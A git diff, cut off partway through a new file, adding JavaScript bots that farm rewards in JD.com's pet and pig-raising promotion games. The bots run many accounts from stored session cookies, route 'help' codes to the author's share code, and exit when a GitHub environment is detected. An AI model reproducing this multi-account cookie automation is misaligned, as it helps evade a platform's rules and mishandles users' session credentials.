=== 0) { + await slaveHelp(); //助力好友 + $.log($.name, '', `【提示】京东账号${$.index}${$.nickName || $.UserName}\n萌宠活动未开启\n请手动去京东APP开启活动\n入口:我的->游戏与互动->查看更多开启`); + return + } + if (!$.petInfo.goodsInfo) { + $.msg($.name, '', `【提示】京东账号${$.index}${$.nickName || $.UserName}\n暂未选购新的商品`, { + "open-url": "openapp.jdmoble://" + }); + if ($.isNode()) + await notify.sendNotify(`${$.name} - ${$.index} - ${$.nickName || $.UserName}`, `【提示】京东账号${$.index}${$.nickName || $.UserName}\n暂未选购新的商品`); + return + } + goodsUrl = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsUrl; + // option['media-url'] = goodsUrl; + // console.log(`初始化萌宠信息完成: ${JSON.stringify(petInfo)}`); + if ($.petInfo.petStatus === 5) { + await slaveHelp(); //可以兑换而没有去兑换,也能继续助力好友 + option['open-url'] = "openApp.jdMobile://"; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.petInfo.goodsInfo.goodsName}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.petInfo.goodsInfo.goodsName}已可领取`); + } + return + } else if ($.petInfo.petStatus === 6) { + await slaveHelp(); //已领取红包,但未领养新的,也能继续助力好友 + option['open-url'] = "openApp.jdMobile://"; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】已领取红包,但未继续领养新的物品\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n已领取红包,但未继续领养新的物品`); + } + return + } + //console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.petInfo.shareCode}\n`); + await taskInit(); + if ($.taskInit.resultCode === '9999' || !$.taskInit.result) { + console.log('初始化任务异常, 请稍后再试'); + return + } + $.taskInfo = $.taskInit.result; + + await petSport(); //遛弯 + if (llhelp){ + await slaveHelp(); //助力好友 + } + await masterHelpInit(); //获取助力的信息 + await doTask(); //做日常任务 + await feedPetsAgain(); //再次投食 + await energyCollect(); //收集好感度 + await showMsg(); + + } else if (initPetTownRes.code === '0') { + console.log(`初始化萌宠失败: ${initPetTownRes.message}`); + } + } catch (e) { + $.logErr(e) + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) + await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } +} + +async function GetShareCode() { + try { + //查询jd宠物信息 + const initPetTownRes = await request('initPetTown'); + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus == 0 || $.petInfo.petStatus == 5 || $.petInfo.petStatus == 6 || !$.petInfo.goodsInfo) { + console.log(`【京东账号${$.index}(${$.UserName})的互助码】\n宠物状态不能被助力,跳过...`); + return; + } + console.log(`【京东账号${$.index}(${$.UserName})的互助码】\n${$.petInfo.shareCode}`); + newShareCodes.push($.petInfo.shareCode); + } + } catch (e) { + $.logErr(e) + const errMsg = `【京东账号${$.index} ${$.nickName || $.UserName}】\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) + await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`); + } +} + +// 收取所有好感度 +async function energyCollect() { + console.log('开始收取任务奖励好感度'); + let function_id = arguments.callee.name.toString(); + const response = await request(function_id); + // console.log(`收取任务奖励好感度完成:${JSON.stringify(response)}`); + if (response.resultCode === '0') { + message += `【第${response.result.medalNum + 1}块勋章完成进度】${response.result.medalPercent}%,还需收集${response.result.needCollectEnergy}好感\n`; + message += `【已获得勋章】${response.result.medalNum}块,还需收集${response.result.needCollectMedalNum}块即可兑换奖品“${$.petInfo.goodsInfo.goodsName}”\n`; + } +} +//再次投食 +async function feedPetsAgain() { + const response = await request('initPetTown'); //再次初始化萌宠 + if (response.code === '0' && response.resultCode === '0' && response.message === 'success') { + $.petInfo = response.result; + let foodAmount = $.petInfo.foodAmount; //剩余狗粮 + if (foodAmount - 100 >= 10) { + for (let i = 0; i < parseInt((foodAmount - 100) / 10); i++) { + const feedPetRes = await request('feedPets'); + console.log(`投食feedPetRes`); + if (feedPetRes.resultCode == 0 && feedPetRes.code == 0) { + console.log('投食成功') + } + } + const response2 = await request('initPetTown'); + $.petInfo = response2.result; + subTitle = $.petInfo.goodsInfo.goodsName; + // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; + // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; + } else { + console.log("目前剩余狗粮:【" + foodAmount + "】g,不再继续投食,保留部分狗粮用于完成第二天任务"); + subTitle = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsName; + // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; + // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; + } + } else { + console.log(`初始化萌宠失败: ${JSON.stringify($.petInfo)}`); + } +} + +async function doTask() { + const { + signInit, + threeMealInit, + firstFeedInit, + feedReachInit, + inviteFriendsInit, + browseShopsInit, + taskList + } = $.taskInfo; + for (let item of taskList) { + if ($.taskInfo[item].finished) { + console.log(`任务 ${item} 已完成`) + } + } + //每日签到 + if (signInit && !signInit.finished) { + await signInitFun(); + } + // 首次喂食 + if (firstFeedInit && !firstFeedInit.finished) { + await firstFeedInitFun(); + } + // 三餐 + if (threeMealInit && !threeMealInit.finished) { + if (threeMealInit.timeRange === -1) { + console.log(`未到三餐时间`); + } else { + await threeMealInitFun(); + } + } + if (browseShopsInit && !browseShopsInit.finished) { + await browseShopsInitFun(); + } + let browseSingleShopInitList = []; + taskList.map((item) => { + if (item.indexOf('browseSingleShopInit') > -1) { + browseSingleShopInitList.push(item); + } + }); + // 去逛逛好货会场 + for (let item of browseSingleShopInitList) { + const browseSingleShopInitTask = $.taskInfo[item]; + if (browseSingleShopInitTask && !browseSingleShopInitTask.finished) { + await browseSingleShopInit(browseSingleShopInitTask); + } + } + if (inviteFriendsInit && !inviteFriendsInit.finished) { + await inviteFriendsInitFun(); + } + // 投食10次 + if (feedReachInit && !feedReachInit.finished) { + await feedReachInitFun(); + } +} +// 好友助力信息 +async function masterHelpInit() { + let res = await request(arguments.callee.name.toString()); + // console.log(`助力信息: ${JSON.stringify(res)}`); + if (res.code === '0' && res.resultCode === '0') { + if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length >= 5) { + if (!res.result.addedBonusFlag) { + console.log("开始领取额外奖励"); + let getHelpAddedBonusResult = await request('getHelpAddedBonus'); + if (getHelpAddedBonusResult.resultCode === '0') { + message += `【额外奖励${getHelpAddedBonusResult.result.reward}领取】${getHelpAddedBonusResult.message}\n`; + } + console.log(`领取30g额外奖励结果:【${getHelpAddedBonusResult.message}】`); + } else { + console.log("已经领取过5好友助力额外奖励"); + message += `【额外奖励】已领取\n`; + } + } else { + console.log("助力好友未达到5个") + message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; + } + if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length > 0) { + console.log('帮您助力的好友的名单开始') + let str = ''; + res.result.masterHelpPeoples.map((item, index) => { + if (index === (res.result.masterHelpPeoples.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + }) + message += `【助力您的好友】${str}\n`; + } + } +} +/** + * 助力好友, 暂时支持一个好友, 需要拿到shareCode + * shareCode为你要助力的好友的 + * 运行脚本时你自己的shareCode会在控制台输出, 可以将其分享给他人 + */ +async function slaveHelp() { + let helpPeoples = ''; + for (let code of newShareCodes) { + if(NoNeedCodes){ + var llnoneed=false; + for (let NoNeedCode of NoNeedCodes) { + if (code==NoNeedCode){ + llnoneed=true; + break; + } + } + if(llnoneed){ + console.log(`${code}助力已满,跳过...`); + continue; + } + } + console.log(`开始助力京东账号${$.index} - ${$.nickName || $.UserName}的好友: ${code}`); + if (!code) + continue; + let response = await request(arguments.callee.name.toString(), { + 'shareCode': code + }); + if (response.code === '0' && response.resultCode === '0') { + if (response.result.helpStatus === 0) { + console.log('已给好友: 【' + response.result.masterNickName + '】助力成功'); + helpPeoples += response.result.masterNickName + ','; + } else if (response.result.helpStatus === 1) { + // 您今日已无助力机会 + console.log(`助力好友${response.result.masterNickName}失败,您今日已无助力机会`); + break; + } else if (response.result.helpStatus === 2) { + //该好友已满5人助力,无需您再次助力 + NoNeedCodes.push(code); + console.log(`该好友${response.result.masterNickName}已满5人助力,无需您再次助力`); + } else { + console.log(`助力其他情况:${JSON.stringify(response)}`); + } + } else { + if(response.message=="已经助过力"){ + console.log(`此账号今天已经跑过助力了,跳出....`); + break; + }else{ + console.log(`助力好友结果: ${response.message}`); + } + + } + } + if (helpPeoples && helpPeoples.length > 0) { + message += `【您助力的好友】${helpPeoples.substr(0, helpPeoples.length - 1)}\n`; + } +} +// 遛狗, 每天次数上限10次, 随机给狗粮, 每次遛狗结束需调用getSportReward领取奖励, 才能进行下一次遛狗 +async function petSport() { + console.log('开始遛弯'); + let times = 1 + const code = 0 + let resultCode = 0 + do { + let response = await request(arguments.callee.name.toString()) + console.log(`第${times}次遛狗完成: ${JSON.stringify(response)}`); + resultCode = response.resultCode; + if (resultCode == 0) { + let sportRevardResult = await request('getSportReward'); + console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); + } + times++; + } while (resultCode == 0 && code == 0) + if (times > 1) { + // message += '【十次遛狗】已完成\n'; + } +} +// 初始化任务, 可查询任务完成情况 +async function taskInit() { + console.log('开始任务初始化'); + $.taskInit = await request(arguments.callee.name.toString(), { + "version": 1 + }); +} +// 每日签到, 每天一次 +async function signInitFun() { + console.log('准备每日签到'); + const response = await request("getSignReward"); + console.log(`每日签到结果: ${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + console.log(`【每日签到成功】奖励${response.result.signReward}g狗粮\n`); + // message += `【每日签到成功】奖励${response.result.signReward}g狗粮\n`; + } else { + console.log(`【每日签到】${response.message}\n`); + // message += `【每日签到】${response.message}\n`; + } +} + +// 三餐签到, 每天三段签到时间 +async function threeMealInitFun() { + console.log('准备三餐签到'); + const response = await request("getThreeMealReward"); + console.log(`三餐签到结果: ${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + console.log(`【定时领狗粮】获得${response.result.threeMealReward}g\n`); + // message += `【定时领狗粮】获得${response.result.threeMealReward}g\n`; + } else { + console.log(`【定时领狗粮】${response.message}\n`); + // message += `【定时领狗粮】${response.message}\n`; + } +} + +// 浏览指定店铺 任务 +async function browseSingleShopInit(item) { + console.log(`开始做 ${item.title} 任务, ${item.desc}`); + const body = { + "index": item['index'], + "version": 1, + "type": 1 + }; + const body2 = { + "index": item['index'], + "version": 1, + "type": 2 + }; + const response = await request("getSingleShopReward", body); + // console.log(`点击进去response::${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + const response2 = await request("getSingleShopReward", body2); + // console.log(`浏览完毕领取奖励:response2::${JSON.stringify(response2)}`); + if (response2.code === '0' && response2.resultCode === '0') { + console.log(`【浏览指定店铺】获取${response2.result.reward}g\n`); + // message += `【浏览指定店铺】获取${response2.result.reward}g\n`; + } + } +} + +// 浏览店铺任务, 任务可能为多个? 目前只有一个 +async function browseShopsInitFun() { + console.log('开始浏览店铺任务'); + let times = 0; + let resultCode = 0; + let code = 0; + do { + let response = await request("getBrowseShopsReward"); + console.log(`第${times}次浏览店铺结果: ${JSON.stringify(response)}`); + code = response.code; + resultCode = response.resultCode; + times++; + } while (resultCode == 0 && code == 0 && times < 5) + console.log('浏览店铺任务结束'); +} +// 首次投食 任务 +function firstFeedInitFun() { + console.log('首次投食任务合并到10次喂食任务中\n'); +} + +// 邀请新用户 +async function inviteFriendsInitFun() { + console.log('邀请新用户功能未实现'); + if ($.taskInfo.inviteFriendsInit.status == 1 && $.taskInfo.inviteFriendsInit.inviteFriendsNum > 0) { + // 如果有邀请过新用户,自动领取60gg奖励 + const res = await request('getInviteFriendsReward'); + if (res.code == 0 && res.resultCode == 0) { + console.log(`领取邀请新用户奖励成功,获得狗粮现有狗粮${$.taskInfo.inviteFriendsInit.reward}g,${res.result.foodAmount}g`); + message += `【邀请新用户】获取狗粮${$.taskInfo.inviteFriendsInit.reward}g\n`; + } + } +} + +/** + * 投食10次 任务 + */ +async function feedReachInitFun() { + console.log('投食任务开始...'); + let finishedTimes = $.taskInfo.feedReachInit.hadFeedAmount / 10; //已经喂养了几次 + let needFeedTimes = 10 - finishedTimes; //还需要几次 + let tryTimes = 20; //尝试次数 + do { + console.log(`还需要投食${needFeedTimes}次`); + const response = await request('feedPets'); + console.log(`本次投食结果: ${JSON.stringify(response)}`); + if (response.resultCode == 0 && response.code == 0) { + needFeedTimes--; + } + if (response.resultCode == 3003 && response.code == 0) { + console.log('剩余狗粮不足, 投食结束'); + needFeedTimes = 0; + } + tryTimes--; + } while (needFeedTimes > 0 && tryTimes > 0) + console.log('投食任务结束...\n'); +} +async function showMsg() { + if ($.isNode() && process.env.PET_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.PET_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdPetNotify')) { + $.ctrTemp = $.getdata('jdPetNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + // jdNotify = `${notify.petNotifyControl}` === 'false' && `${jdNotify}` === 'false' && $.getdata('jdPetNotify') === 'false'; + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0 && data.base && data.base.nickname) { + $.nickName = data.base.nickname; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} +// 请求 +async function request(function_id, body = {}) { + await $.wait(3000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data) + } + }) + }) +} +// function taskUrl(function_id, body = {}) { +// return { +// url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&loginWQBiz=pet-town&body=${escape(JSON.stringify(body))}`, +// headers: { +// Cookie: cookie, +// UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), +// } +// }; +// } +function taskUrl(function_id, body = {}) { + body["version"] = 2; + body["channel"] = 'app'; + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_pigPet.js b/jd_pigPet.js new file mode 100644 index 0000000..8f3907a --- /dev/null +++ b/jd_pigPet.js @@ -0,0 +1,992 @@ +/* +活动入口:京东金融养猪猪 +一键开完所有的宝箱功能。耗时70秒 +大转盘抽奖 +喂食 +每日签到 +完成分享任务得猪粮 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +===============Quantumultx=============== +[task_local] +#京东金融养猪猪 +12 0-23/6 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js, tag=京东金融养猪猪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyz.png, enabled=true + +================Loon============== +[Script] +cron "12 0-23/6 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js, tag=京东金融养猪猪 + +===============Surge================= +京东金融养猪猪 = type=cron,cronexp="12 0-23/6 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js + +============小火箭========= +京东金融养猪猪 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js, cronexpr="12 0-23/6 * * *", timeout=3600, enable=true +*/ +const $ = new Env('金融养猪'); +const url = require('url'); +let cookiesArr = [], cookie = '', allMessage = ''; +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +const MISSION_BASE_API = `https://ms.jr.jd.com/gw/generic/mission/h5/m`; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let shareId = "hRYQeeaVYXQBX1Mguan2kA" +$.shareCodes = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + if (process.env.PIGPETSHARECODE) { + shareId = process.env.PIGPETSHARECODE + } else { + let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/pigPet.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/pigPet.json'}).then((resp) => {}).catch((e) => 